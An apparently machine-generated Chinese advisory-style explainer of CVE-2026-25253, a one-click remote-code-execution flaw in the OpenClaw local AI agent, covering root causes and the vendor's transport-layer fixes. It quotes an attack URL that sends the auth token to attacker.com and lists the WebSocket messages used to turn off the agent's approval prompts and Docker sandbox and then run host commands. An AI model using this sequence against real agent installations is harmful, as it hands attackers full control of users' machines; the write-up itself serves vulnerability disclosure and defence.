一个 ?gatewayUrl= 参数偷走 token 再回连你自己机器上的 agent,一次点击拿到 shell

  • 主页https://nvd.nist.gov/vuln/detail/CVE-2026-25253
  • 从哪读起:先读 depthfirst 报告者 Mav Levin 的原文(depthfirst.com/post/1-click-rce-…),它给了逐字的 URL 和 WebSocket 消息类型;NVD 条目只有一句话概述。

一个 gatewayUrl 参数值多少钱

OpenClaw(前身叫 clawdbot,又叫 Moltbot)是一个开源的「全权代理」:装在你自己的机器上,握着 shell(能跑 bash)、能读写本地文件、还接着即时通讯。它的 Control UI 是一个网页,跟本地一个 WebSocket 网关通信,网关才是真正干活、执行命令的那一端。

被打穿的对象就是这个本地网关。报告者是 depthfirst 的安全研究员 Mav Levin,2026 年 1 月底报的;NVD 在 2026-02-01 收录,编号 CVE-2026-25253,CVSS 3.1 评 8.8(High,向量 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H),弱点归类 CWE-669(Incorrect Resource Transfer Between Spheres,跨信任域的资源错误转移)。受影响的是 2026.1.29 之前的所有版本,补丁 2026.1.29 于 2026-01-30 发布。

为什么偷一个 token 等于整台机器沦陷:这个 agent 本来就有 shell 和文件的全权。它的认证 token 存在浏览器的 LocalStorage 里——LocalStorage 是浏览器给每个网站的一块本地键值存储,页面里的 JavaScript 随时能读。谁拿到这个 token,谁就能冒充操作者,从内部把审批和沙箱一个个关掉。

本地语料里有 9 篇论文引到这个 CVE 编号,多数是把它当「全权 agent 传输层没做认证」的活标本,而不是当模型被骗的例子——这个区别下面会说清。

三步:偷 token → 回连 localhost → 关掉确认弹窗

第一步,攻击者把受害者骗到一个恶意页,页里让浏览器打开这样一个 URL(据 depthfirst 逐字):

http://victim_openclaw.com?gatewayUrl=ws://attacker.com:8080

app-settings.ts 里的逻辑「blindly accepts a gatewayUrl query parameter in the URL and persists it to storage」——原样把这个参数落盘存进设置。第二步,gateway.ts「automatically bundles the security-sensitive authToken into the system’s connection handshake to the new gateway」——一落盘就自动去连这个新网关,把 LocalStorage 里的 authToken 塞进 handshake 发出去。token 就这样发到了 ws://attacker.com:8080

第三步,攻击者拿到 token,从受害者浏览器里回连本地网关 ws://localhost:18789(端口 18789 见 depthfirst / EQSTLab PoC)。然后发三条消息(据 PoC 与技术博客转述的消息类型,非 depthfirst 逐字 JSON):exec.approvals.setask: 'off' 关掉命令执行前的确认弹窗;config.patchtools.exec.host 设成 gateway,让命令不再进 Docker 容器而直接落在宿主机上;最后 node.invoke 跑任意命令,比如 bash -c 'echo hacked > /tmp/hacked'。系统每一步都替攻击者做了它该核对却没核对的事。

四道防线全在门口滑倒

(1)URL 参数校验。本该拒绝一个陌生的 gatewayUrl,但 applySettingsFromUrl() 未校验就落盘,还自动发起连接——攻击者连一次点击之后的第二次交互都不需要。

(2)token 的发送时机。本该只在用户明确切换网关时才带 token,但设置变更即自动 handshake,token 随手就发了出去,没有任何弹窗拦一下。

(3)WebSocket 服务端的 Origin 校验。这是最要命的一道。浏览器对普通跨站请求有同源限制,但 WebSocket 握手不受同源策略约束——服务端必须自己看 Origin 头。18789 端口的网关不看,于是任意网站的 JS 都能连本地网关,构成 Cross-Site WebSocket Hijacking(跨站 WebSocket 劫持,简称 CSWSH:像 CSRF,但劫持的是一条长连接)。depthfirst 特别点明:即使网关只监听 loopback(只收本机连接)也拦不住,因为发起连接的是受害者自己浏览器,本来就在本机。

(4)沙箱与审批。本该在命令落地前挡一道——要么进容器,要么弹窗问人。但攻击者已经握着 admin 级 token,operator.admin / operator.approvals 权限齐全,直接从内部把这两道关掉。防线还在,只是钥匙在攻击者手里。

厂商修在传输层——模型根本没上场

2026.1.29 补的是:gatewayUrl 变更时加确认弹窗;随后版本加 Origin 校验,拒绝 Origin 缺失或不匹配的连接(放行 loopback 与配置的 allowlist)。全在传输 / 认证层。

这里必须把话说直:这次不是 prompt injection。构思里那句「修了出口不等于修了模型会被那段文字说服」——套在这个 CVE 上是错的,因为模型压根没参与决策。被绕过的是 token 存储和 CSWSH,从头到尾没有一句自然语言去「说服」模型做任何事;node.invoke 是攻击者拿着盗来的 token 直接调的 API,不经过模型推理。它和 GCG(2307.15043)那种把模型本身骗过去的攻击是两类东西。

入口侧修没修?就这个 CVE 而言问「入口侧」问错了对象——它没有「说服模型」的入口可修,要修的入口就是传输层,而厂商修了。真正没解决的是更外围的事:token 继续存在 LocalStorage、agent 继续握着未分权的宿主机 shell。补丁挡住了这一条利用路径,没改掉「一个 token 泄露 = 整机沦陷」这个前提——语料里那几篇(如 2603.11619《Taming OpenClaw》、2608.06130 讲用硬件 keystore 给 agent 签名)正是冲着这个前提去的。

已核实来源


本文由自动化管道生成(采集 → 逐字核验 → 模型撰写),未经人工改写。